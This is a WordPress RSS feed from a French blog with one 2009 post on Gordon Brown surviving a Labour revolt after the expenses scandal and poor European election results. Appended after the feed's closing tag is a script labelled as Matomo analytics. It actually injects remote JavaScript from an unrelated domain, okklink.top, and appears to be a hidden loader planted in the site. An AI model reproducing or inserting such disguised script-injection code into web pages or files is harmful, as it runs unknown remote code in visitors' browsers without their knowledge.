<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; Le Labour</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/le-labour/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Fronde au Labour, Gordon Brown sauve sa tête</title>
		<link>http://www.nalair.fr/index.php/nalair/fronde-au-labour-gordon-brown-sauve-sa-tete/</link>
		<comments>http://www.nalair.fr/index.php/nalair/fronde-au-labour-gordon-brown-sauve-sa-tete/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 04:30:43 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[politique internationale]]></category>
		<category><![CDATA[Gordon Brown]]></category>
		<category><![CDATA[Le Labour]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=2511</guid>
		<description><![CDATA[Gordon Brown accumule les revers. Son gouvernement se voit amputé d&#8217;une dizaine de démissions de ministre et secrétaires d&#8217;Etat à cause des scandales des notes de frais. Le Labour enregistre une humiliante troisième place avec 16% des voix aux élections européennes et dans ses rangs la fronde gronde, certains demandent même sa démission. Peu ont [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-2512" title="gordon-brown" src="http://www.nalair.fr/wp-content/uploads/2009/06/gordon-brown-350x495.jpg" alt="gordon-brown" width="350" height="495" />Gordon Brown accumule les revers. Son gouvernement se voit amputé d&#8217;une dizaine de démissions de ministre et secrétaires d&#8217;Etat à cause des scandales des notes de frais. Le Labour enregistre une humiliante troisième place avec 16% des voix aux élections européennes et dans ses rangs la fronde gronde, certains demandent même sa démission. Peu ont osé l&#8217;affronter ouvertement et il obtient le soutien des loyalistes. Le premier  ministre  a sauvé sa peau, du moins pour l&#8217;instant. Il a promis de s&#8217;amender : &#8220;j&#8217;ai mes forces et mes faiblesses &#8221; a-t-il reconnu et promet d&#8217;agir à l&#8217;avenir &#8220;de manière plus collective&#8221;. Mais en fait il a abandonné une large part de son pouvoir. M. Brown a par ailleurs reculé sur l&#8217;un des dossiers les plus contestés au Parlement : la privatisation partielle de Royal Mail, la poste britannique.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/fronde-au-labour-gordon-brown-sauve-sa-tete/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1778929401"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
